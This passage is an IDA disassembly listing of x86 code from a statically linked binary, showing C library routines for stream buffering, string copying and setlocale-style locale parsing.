var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+4]
		cmp	[edi+0Ch], eax
		jb	loc_8062474
		cmp	dword ptr [edi+24h], 0
		jz	short loc_80623EB
		test	byte ptr [edi+1], 1
		jnz	short loc_80623E5
		push	edi
		call	sub_806183C
		add	esp, 4

loc_80623E5:				; CODE XREF: sub_80623B8+22j
		cmp	dword ptr [edi+24h], 0
		jnz	short loc_8062414

loc_80623EB:				; CODE XREF: sub_80623B8+1Cj
		push	80h
		call	malloc
		add	esp, 4
		test	eax, eax
		jz	short loc_8062438
		mov	[edi+24h], eax
		add	eax, 80h
		mov	[edi+2Ch], eax
		mov	[edi+28h], eax
		push	edi
		call	sub_806183C
		jmp	short loc_8062474
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8062414:				; CODE XREF: sub_80623B8+31j
		mov	eax, [edi+4]
		cmp	[edi+0Ch], eax
		jb	short loc_8062474
		mov	esi, [edi+8]
		sub	esi, [edi+0Ch]
		lea	ecx, [esi+esi]
		mov	[ebp+var_4], ecx
		push	ecx
		call	malloc
		mov	[ebp+var_8], eax
		add	esp, 4
		test	eax, eax
		jnz	short loc_8062440

loc_8062438:				; CODE XREF: sub_80623B8+42j
		mov	eax, 0FFFFFFFFh
		jmp	short loc_8062493
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8062440:				; CODE XREF: sub_80623B8+7Ej
		mov	ebx, [ebp+var_4]
		sub	ebx, esi
		mov	eax, [edi+0Ch]
		add	ebx, [ebp+var_8]
		push	esi
		push	eax
		push	ebx
		call	memcpy
		add	esp, 0Ch
		mov	eax, [edi+0Ch]
		push	eax
		call	free
		mov	ecx, [ebp+var_8]
		mov	[edi+0Ch], ecx
		mov	[edi+4], ebx
		add	ecx, [ebp+var_4]
		mov	[edi+8], ecx
		mov	eax, [edi+4]
		mov	[edi+28h], eax

loc_8062474:				; CODE XREF: sub_80623B8+12j
					; sub_80623B8+58j ...
		dec	dword ptr [edi+4]
		cmp	[ebp+arg_4], 0FFFFFFFFh
		jz	short loc_806248D
		mov	edx, [edi+4]
		movzx	eax, byte ptr [edx]
		cmp	[ebp+arg_4], eax
		jz	short loc_806248D
		mov	cl, byte ptr [ebp+arg_4]
		mov	[edx], cl

loc_806248D:				; CODE XREF: sub_80623B8+C3j
					; sub_80623B8+CEj
		mov	eax, [edi+4]
		movzx	eax, byte ptr [eax]

loc_8062493:				; CODE XREF: sub_80623B8+85j
		lea	esp, [ebp+var_14]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_80623B8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, 0FFFFFFFFh
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		push	ebp
		mov	ebp, esp
		mov	eax, 0FFFFFFFFh
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		push	ebp
		mov	ebp, esp
		mov	eax, 0FFFFFFFFh
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [00000062 BYTES: COLLAPSED FUNCTION _IO_fputs. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [000000A5 BYTES: COLLAPSED FUNCTION _IO_padn.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [000000A0 BYTES: COLLAPSED FUNCTION _IO_perror. PRESS	KEYPAD "+" TO EXPAND]
; [0000004A BYTES: COLLAPSED FUNCTION _IO_seekoff. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [0000004A BYTES: COLLAPSED FUNCTION _IO_setbuffer. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000171 BYTES: COLLAPSED FUNCTION _itoa. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000020 BYTES: COLLAPSED FUNCTION snprintf.	PRESS KEYPAD "+" TO EXPAND]
; [0000004D BYTES: COLLAPSED FUNCTION vsnprintf. PRESS KEYPAD "+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_80628F8	proc near		; CODE XREF: sub_8062D4C+347p
					; sub_8062D4C+577p ...

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_4], ecx
		mov	esi, [ebp+arg_0]
		xor	al, al
		mov	edi, esi
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	ebx, ecx
		not	ebx
		push	ebx
		call	malloc
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_8062934
		push	ebx
		push	esi
		push	edi
		call	memcpy
		mov	eax, edi
		jmp	short loc_8062936
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8062934:				; CODE XREF: sub_80628F8+2Cj
		xor	eax, eax

loc_8062936:				; CODE XREF: sub_80628F8+38j
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_80628F8	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8062940	proc near		; CODE XREF: sub_8062D4C+6B4p
					; sub_8062D4C+84Fp

var_58		= byte ptr -58h
var_4C		= dword	ptr -4Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_4], ecx
		mov	[ebp+var_20], 0
		mov	[ebp+var_28], 1
		mov	[ebp+var_4C], 0
		lea	esi, [esi+0]

loc_8062964:				; CODE XREF: sub_8062940+132j
		cmp	[ebp+arg_0], 6
		jnz	short loc_8062978
		mov	edx, [ebp+var_4C]
		mov	esi, [ebp+arg_4]
		mov	ebx, [esi+edx*4]
		jmp	short loc_8062992
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8062978:				; CODE XREF: sub_8062940+28j
		mov	edx, [ebp+var_4C]
		cmp	[ebp+arg_0], edx
		jnz	short loc_8062988
		mov	esi, [ebp+arg_4]
		mov	ebx, [esi]
		jmp	short loc_8062992
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8062988:				; CODE XREF: sub_8062940+3Ej
		mov	edx, [ebp+var_4C]
		mov	ebx, dword_80790BC[edx*4]

loc_8062992:				; CODE XREF: sub_8062940+33j
					; sub_8062940+45j
		xor	al, al
		mov	edi, ebx
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	eax, ecx
		not	eax
		dec	eax
		mov	esi, [ebp+var_4C]
		mov	[ebp+esi*4+var_1C], eax
		mov	eax, [ebp+esi*4+var_1C]
		mov	edx, [ebp+var_4C]
		add	eax, ds:dword_806AA8C[edx*4]
		mov	esi, [ebp+var_20]
		lea	esi, [esi+eax+2]
		mov	[ebp+var_20], esi
		test	edx, edx
		jle	short loc_80629E6
		cmp	[ebp+var_28], 0
		jz	short loc_80629E6
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		push	eax
		push	ebx
		call	strcmp
		add	esp, 8
		test	eax, eax
		jz	short loc_80629E6
		mov	[ebp+var_28], 0

loc_80629E6:				; CODE XREF: sub_8062940+84j
					; sub_8062940+8Aj ...
		mov	esi, [ebp+var_4C]
		inc	esi
		mov	[ebp+var_3C], esi
		cmp	[ebp+arg_0], 6
		jnz	short loc_80629FC
		mov	edx, [ebp+arg_4]
		mov	ebx, [edx+esi*4]
		jmp	short loc_8062A16
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80629FC:				; CODE XREF: sub_8062940+B1j
		mov	esi, [ebp+var_3C]
		cmp	[ebp+arg_0], esi
		jnz	short loc_8062A0C
		mov	edx, [ebp+arg_4]
		mov	ebx, [edx]
		jmp	short loc_8062A16
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8062A0C:				; CODE XREF: sub_8062940+C2j
		mov	esi, [ebp+var_3C]
		mov	ebx, dword_80790BC[esi*4]

loc_8062A16:				; CODE XREF: sub_8062940+B9j
					; sub_8062940+C9j
		xor	al, al
		mov	edi, ebx
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	eax, ecx
		not	eax
		dec	eax
		mov	edx, [ebp+var_3C]
		mov	[ebp+edx*4+var_1C], eax
		mov	eax, [ebp+edx*4+var_1C]
		mov	esi, [ebp+var_3C]
		add	eax, ds:dword_806AA8C[esi*4]
		mov	edx, [ebp+var_20]
		lea	edx, [edx+eax+2]
		mov	[ebp+var_20], edx
		test	esi, esi
		jle	short loc_8062A6A
		cmp	[ebp+var_28], 0
		jz	short loc_8062A6A
		mov	esi, [ebp+arg_4]
		mov	eax, [esi]
		push	eax
		push	ebx
		call	strcmp
		add	esp, 8
		test	eax, eax
		jz	short loc_8062A6A
		mov	[ebp+var_28], 0

loc_8062A6A:				; CODE XREF: sub_8062940+108j
					; sub_8062940+10Ej ...
		add	[ebp+var_4C], 2
		cmp	[ebp+var_4C], 5
		jle	loc_8062964
		cmp	[ebp+var_28], 0
		jz	short loc_8062AFC
		mov	eax, [ebp+var_1C]
		inc	eax
		push	eax
		call	malloc
		mov	[ebp+var_24], eax
		add	esp, 4
		test	eax, eax
		jnz	short loc_8062AE0
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		mov	edi, offset unk_806AABE
		mov	ecx, 2
		mov	esi, eax
		cld
		test	al, 0
		repe cmpsb
		jz	short loc_8062ABF
		mov	eax, [edx]
		mov	edi, offset aPosix ; "POSIX"
		mov	ecx, 6
		mov	esi, eax
		cld
		test	al, 0
		repe cmpsb
		jnz	short loc_8062ACC

loc_8062ABF:				; CODE XREF: sub_8062940+168j
		mov	eax, offset unk_806AABC
		jmp	loc_8062C8F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8062ACC:				; CODE XREF: sub_8062940+17Dj
		mov	errno, 16h
		xor	eax, eax
		jmp	loc_8062C8F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8062AE0:				; CODE XREF: sub_8062940+150j
		mov	edx, [ebp+arg_4]
		mov	edx, [edx]
		mov	eax, [ebp+var_1C]
		inc	eax
		push	eax
		push	edx
		mov	esi, [ebp+var_24]
		push	esi
		call	memcpy
		jmp	loc_8062C8C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8062AFC:				; CODE XREF: sub_8062940+13Cj
		mov	edx, [ebp+var_20]
		push	edx
		call	malloc
		mov	[ebp+var_24], eax
		add	esp, 4
		test	eax, eax
		jnz	short loc_8062B18
		xor	eax, eax
		jmp	loc_8062C8F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8062B18:				; CODE XREF: sub_8062940+1CDj
		mov	ebx, [ebp+var_24]
		mov	[ebp+var_4C], 0
		mov	[ebp+var_2C], offset dword_806AA8C
		mov	[ebp+var_30], offset dword_806AA8C

loc_8062B30:				; CODE XREF: sub_8062940+342j
		cmp	[ebp+arg_0], 6
		jnz	short loc_8062B44
		mov	esi, [ebp+var_4C]
		mov	edx, [ebp+arg_4]
		mov	edi, [edx+esi*4]
		jmp	short loc_8062B5E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8062B44:				; CODE XREF: sub_8062940+1F4j
		mov	esi, [ebp+var_4C]
		cmp	[ebp+arg_0], esi
		jnz	short loc_8062B54
		mov	edx, [ebp+arg_4]
		mov	edi, [edx]
		jmp	short loc_8062B5E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8062B54:				; CODE XREF: sub_8062940+20Aj
		mov	esi, [ebp+var_4C]
		mov	edi, dword_80790BC[esi*4]

loc_8062B5E:				; CODE XREF: sub_8062940+1FFj
					; sub_8062940+211j
		mov	edx, [ebp+var_4C]
		mov	eax, ds:dword_806AA34[edx*4]
		mov	esi, [ebp+var_30]
		mov	esi, [esi]
		push	esi
		push	eax
		push	ebx
		call	memcpy
		add	esp, 0Ch
		mov	edx, [ebp+var_2C]
		add	ebx, [edx]
		mov	byte ptr [ebx],	3Dh
		inc	ebx
		mov	esi, [ebp+var_4C]
		mov	eax, [ebp+esi*4+var_1C]
		push	eax
		push	edi
		push	ebx
		call	memcpy
		add	esp, 0Ch
		add	ebx, [ebp+esi*4+var_1C]
		mov	byte ptr [ebx],	3Bh
		inc	ebx
		mov	edi, [ebp+var_4C]
		inc	edi
		cmp	[ebp+arg_0], 6
		jnz	short loc_8062BB0
		mov	edx, [ebp+arg_4]
		mov	edx, [edx+edi*4]
		jmp	short loc_8062BC7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8062BB0:				; CODE XREF: sub_8062940+263j
		cmp	[ebp+arg_0], edi
		jnz	short loc_8062BC0
		mov	esi, [ebp+arg_4]
		mov	esi, [esi]
		mov	[ebp+var_34], esi
		jmp	short loc_8062BCA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8062BC0:				; CODE XREF: sub_8062940+273j
		mov	edx, dword_80790BC[edi*4]

loc_8062BC7:				; CODE XREF: sub_8062940+26Bj
		mov	[ebp+var_34], edx

loc_8062BCA:				; CODE XREF: sub_8062940+27Dj
		mov	eax, ds:dword_806AA34[edi*4]
		mov	esi, [ebp+var_30]
		mov	esi, [esi+4]
		push	esi
		push	eax
		push	ebx
		call	memcpy
		add	esp, 0Ch
		mov	edx, [ebp+var_2C]
		add	ebx, [edx+4]
		mov	byte ptr [ebx],	3Dh
		inc	ebx
		mov	eax, [ebp+edi*4+var_1C]
		push	eax
		mov	esi, [ebp+var_34]
		push	esi
		push	ebx
		call	memcpy
		add	esp, 0Ch
		add	ebx, [ebp+edi*4+var_1C]
		mov	byte ptr [ebx],	3Bh
		inc	ebx
		mov	edi, [ebp+var_4C]
		add	edi, 2
		cmp	[ebp+arg_0], 6
		jnz	short loc_8062C1C
		mov	edx, [ebp+arg_4]
		mov	edx, [edx+edi*4]
		jmp	short loc_8062C33
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8062C1C:				; CODE XREF: sub_8062940+2D0j
		cmp	[ebp+arg_0], edi
		jnz	short loc_8062C2C
		mov	esi, [ebp+arg_4]
		mov	esi, [esi]
		mov	[ebp+var_38], esi
		jmp	short loc_8062C36
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8062C2C:				; CODE XREF: sub_8062940+2DFj
		mov	edx, dword_80790BC[edi*4]

loc_8062C33:				; CODE XREF: sub_8062940+2D8j
		mov	[ebp+var_38], edx

loc_8062C36:				; CODE XREF: sub_8062940+2E9j
		mov	eax, ds:dword_806AA34[edi*4]
		mov	esi, [ebp+var_30]
		mov	esi, [esi+8]
		push	esi
		push	eax
		push	ebx
		call	memcpy
		add	esp, 0Ch
		mov	edx, [ebp+var_2C]
		add	ebx, [edx+8]
		mov	byte ptr [ebx],	3Dh
		inc	ebx
		mov	eax, [ebp+edi*4+var_1C]
		push	eax
		mov	esi, [ebp+var_38]
		push	esi
		push	ebx
		call	memcpy
		add	esp, 0Ch
		add	ebx, [ebp+edi*4+var_1C]
		mov	byte ptr [ebx],	3Bh
		inc	ebx
		add	[ebp+var_2C], 0Ch
		add	[ebp+var_30], 0Ch
		add	[ebp+var_4C], 3
		cmp	[ebp+var_4C], 5
		jle	loc_8062B30
		mov	byte ptr [ebx-1], 0

loc_8062C8C:				; CODE XREF: sub_8062940+1B4j
		mov	eax, [ebp+var_24]

loc_8062C8F:				; CODE XREF: sub_8062940+184j
					; sub_8062940+198j ...
		lea	esp, [ebp+var_58]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8062940	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8062C9C	proc near		; CODE XREF: sub_8062D4C+7ABp
					; sub_8062D4C+8EEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		mov	edx, dword_80790D4
		mov	dword_80790D4, eax
		cmp	edx, offset unk_806AABC
		jz	short loc_8062CC1
		push	edx
		call	free

loc_8062CC1:				; CODE XREF: sub_8062C9C+1Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_8062C9C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8062CC8	proc near		; CODE XREF: sub_8062D4C+6E9p
					; sub_8062D4C+70Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	ecx, dword_80790BC[eax*4]
		mov	dword_80790BC[eax*4], edx
		cmp	ecx, offset unk_806AABC
		jz	short loc_8062CF3
		push	ecx
		call	free

loc_8062CF3:				; CODE XREF: sub_8062CC8+23j
		mov	esp, ebp
		pop	ebp
		retn
sub_8062CC8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8062CF8	proc near		; CODE XREF: sub_8062D4C+6DBp
					; sub_8062D4C+6FFp ...

var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	esi
		push	ebx
		mov	[ebp+var_4], ecx
		mov	ebx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		cmp	ds:dword_806AA04[ebx*4], 0
		jz	short loc_8062D40
		mov	eax, ds:dword_806AA04[ebx*4]
		mov	esi, [eax]
		mov	[eax], edx
		cmp	ds:dword_806AAA4[ebx*4], 0
		jz	short loc_8062D31
		mov	eax, ds:dword_806AAA4[ebx*4]
		call	eax ; _nl_postload_ctype

loc_8062D31:				; CODE XREF: sub_8062CF8+2Ej
		cmp	ds:dword_806AA1C[ebx*4], esi
		jz	short loc_8062D40
		push	esi
		call	_nl_free_locale

loc_8062D40:				; CODE XREF: sub_8062CF8+19j
					; sub_8062CF8+40j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8062CF8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8062D4C	proc near		; CODE XREF: catopen+6Cp
					; libc_nls_init+13p

var_50		= byte ptr -50h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 6
		ja	loc_806360C
		jnz	short loc_8062D6C
		mov	eax, dword_80790D4
		jmp	short loc_8062D73
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8062D6C:				; CODE XREF: sub_8062D4C+15j
		mov	eax, dword_80790BC[ebx*4]

loc_8062D73:				; CODE XREF: sub_8062D4C+1Cj
		cmp	[ebp+arg_4], 0
		jz	loc_8063642
		cmp	[ebp+arg_4], eax
		jz	loc_8063642
		cmp	ebx, 6
		jnz	loc_8063504
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_8062DA7
		push	offset aLc_all	; "LC_ALL"
		call	getenv
		mov	[ebp+arg_4], eax
		add	esp, 4

loc_8062DA7:				; CODE XREF: sub_8062D4C+49j
		cmp	[ebp+arg_4], 0
		jz	short loc_8062DB9
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	loc_8062EB4

loc_8062DB9:				; CODE XREF: sub_8062D4C+5Fj
		xor	ebx, ebx
		nop

loc_8062DBC:				; CODE XREF: sub_8062D4C+15Dj
		mov	eax, ds:dword_806AA34[ebx*4]
		push	eax
		call	getenv
		mov	[ebp+arg_4], eax
		add	esp, 4
		test	eax, eax
		jz	short loc_8062DD8
		cmp	byte ptr [eax],	0
		jnz	short loc_8062DE8

loc_8062DD8:				; CODE XREF: sub_8062D4C+85j
		push	offset aLang	; "LANG"
		call	getenv
		mov	[ebp+arg_4], eax
		add	esp, 4

loc_8062DE8:				; CODE XREF: sub_8062D4C+8Aj
		cmp	[ebp+arg_4], 0
		jz	short loc_8062DF6
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_8062E00

loc_8062DF6:				; CODE XREF: sub_8062D4C+A0j
		mov	eax, dword_80790BC[ebx*4]
		mov	[ebp+arg_4], eax

loc_8062E00:				; CODE XREF: sub_8062D4C+A8j
		mov	eax, [ebp+arg_4]
		mov	[ebp+ebx*4+var_18], eax
		lea	edi, [ebx+1]
		mov	eax, ds:dword_806AA34[edi*4]
		push	eax
		call	getenv
		mov	[ebp+arg_4], eax
		add	esp, 4
		test	eax, eax
		jz	short loc_8062E26
		cmp	byte ptr [eax],	0
		jnz	short loc_8062E36

loc_8062E26:				; CODE XREF: sub_8062D4C+D3j
		push	offset aLang	; "LANG"
		call	getenv
		mov	[ebp+arg_4], eax
		add	esp, 4

loc_8062E36:				; CODE XREF: sub_8062D4C+D8j
		cmp	[ebp+arg_4], 0
		jz	short loc_8062E44
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_8062E4E

loc_8062E44:				; CODE XREF: sub_8062D4C+EEj
		mov	eax, dword_80790BC[edi*4]
		mov	[ebp+arg_4], eax

loc_8062E4E:				; CODE XREF: sub_8062D4C+F6j
		mov	eax, [ebp+arg_4]
		mov	[ebp+edi*4+var_18], eax
		lea	edi, [ebx+2]
		mov	eax, ds:dword_806AA34[edi*4]
		push	eax
		call	getenv
		mov	[ebp+arg_4], eax
		add	esp, 4
		test	eax, eax
		jz	short loc_8062E74
		cmp	byte ptr [eax],	0
		jnz	short loc_8062E84

loc_8062E74:				; CODE XREF: sub_8062D4C+121j
		push	offset aLang	; "LANG"
		call	getenv
		mov	[ebp+arg_4], eax
		add	esp, 4

loc_8062E84:				; CODE XREF: sub_8062D4C+126j
		cmp	[ebp+arg_4], 0
		jz	short loc_8062E92
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_8062E9C

loc_8062E92:				; CODE XREF: sub_8062D4C+13Cj
		mov	eax, dword_80790BC[edi*4]
		mov	[ebp+arg_4], eax

loc_8062E9C:				; CODE XREF: sub_8062D4C+144j
		mov	eax, [ebp+arg_4]
		mov	[ebp+edi*4+var_18], eax
		add	ebx, 3
		cmp	ebx, 5
		jle	loc_8062DBC
		jmp	loc_80633ED
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8062EB4:				; CODE XREF: sub_8062D4C+67j
		xor	al, al
		mov	edi, [ebp+arg_4]
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	edi, ecx
		not	edi
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_18], eax
		mov	ebx, 6
		push	3Bh
		push	eax
		call	strchr
		mov	[ebp+var_3C], eax
		add	esp, 8
		test	eax, eax
		jz	loc_80633ED
		lea	eax, [edi+3]
		and	al, 0FCh
		sub	esp, eax
		mov	[ebp+var_44], esp
		push	edi
		mov	eax, [ebp+arg_4]
		push	eax
		mov	edx, [ebp+var_44]
		push	edx
		call	memcpy
		add	esp, 0Ch

loc_8062F10:				; CODE XREF: sub_8062D4C+2C2j
					; sub_8062D4C+2EEj
		push	3Dh
		mov	esi, [ebp+var_44]
		push	esi
		call	strchr
		mov	[ebp+var_3C], eax
		add	esp, 8
		test	eax, eax
		jz	loc_8063040
		mov	[ebp+var_40], 0
		sub	eax, esi
		cmp	ds:dword_806AA8C, eax
		jnz	short loc_8062F50
		mov	esi, ds:dword_806AA34
		mov	edi, [ebp+var_44]
		mov	ecx, eax
		cld
		test	al, 0
		repe cmpsb
		jz	loc_8063000

loc_8062F50:				; CODE XREF: sub_8062D4C+1ECj
		mov	[ebp+var_40], 1
		cmp	ds:dword_806AA90, eax
		jnz	short loc_8062F75
		mov	esi, ds:dword_806AA38
		mov	edi, [ebp+var_44]
		mov	ecx, eax
		cld
		test	al, 0
		repe cmpsb
		jz	loc_8063000

loc_8062F75:				; CODE XREF: sub_8062D4C+211j
		mov	[ebp+var_40], 2
		cmp	ds:dword_806AA94, eax
		jnz	short loc_8062F96
		mov	esi, ds:dword_806AA3C
		mov	edi, [ebp+var_44]
		mov	ecx, eax
		cld
		test	al, 0
		repe cmpsb
		jz	short loc_8063000

loc_8062F96:				; CODE XREF: sub_8062D4C+236j
		mov	[ebp+var_40], 3
		cmp	ds:dword_806AA98, eax
		jnz	short loc_8062FB7
		mov	esi, ds:dword_806AA40
		mov	edi, [ebp+var_44]
		mov	ecx, eax
		cld
		test	al, 0
		repe cmpsb
		jz	short loc_8063000

loc_8062FB7:				; CODE XREF: sub_8062D4C+257j
		mov	[ebp+var_40], 4
		cmp	ds:dword_806AA9C, eax
		jnz	short loc_8062FD8
		mov	esi, ds:dword_806AA44
		mov	edi, [ebp+var_44]
		mov	ecx, eax
		cld
		test	al, 0
		repe cmpsb
		jz	short loc_8063000

loc_8062FD8:				; CODE XREF: sub_8062D4C+278j
		mov	[ebp+var_40], 5
		cmp	ds:dword_806AAA0, eax
		jnz	short loc_8062FF9
		mov	esi, ds:dword_806AA48
		mov	edi, [ebp+var_44]
		mov	ecx, eax
		cld
		test	al, 0
		repe cmpsb
		jz	short loc_8063000

loc_8062FF9:				; CODE XREF: sub_8062D4C+299j
		mov	[ebp+var_40], 6

loc_8063000:				; CODE XREF: sub_8062D4C+1FEj
					; sub_8062D4C+223j ...
		cmp	[ebp+var_40], 6
		jz	loc_806360C
		cmp	[ebp+var_40], 5
		jg	loc_8062F10
		push	3Bh
		inc	[ebp+var_3C]
		mov	edx, [ebp+var_3C]
		push	edx
		call	strchr
		mov	edx, [ebp+var_3C]
		mov	esi, [ebp+var_40]
		mov	[ebp+esi*4+var_18], edx
		add	esp, 8
		test	eax, eax
		jz	short loc_8063040
		mov	byte ptr [eax],	0
		inc	eax
		mov	[ebp+var_44], eax
		jmp	loc_8062F10
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8063040:				; CODE XREF: sub_8062D4C+1D7j
					; sub_8062D4C+2E5j
		mov	[ebp+var_40], 0
		mov	eax, [ebp+arg_4]
		lea	esi, [esi]

loc_806304C:				; CODE XREF: sub_8062D4C+314j
		mov	esi, [ebp+var_40]
		cmp	[ebp+esi*4+var_18], eax
		jz	loc_806360C
		inc	esi
		mov	[ebp+var_40], esi
		cmp	esi, 5
		jle	short loc_806304C
		jmp	loc_80633ED
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8063068:				; CODE XREF: sub_8062D4C+6A6j
		cmp	ds:dword_806AA04[ebx*4], 0
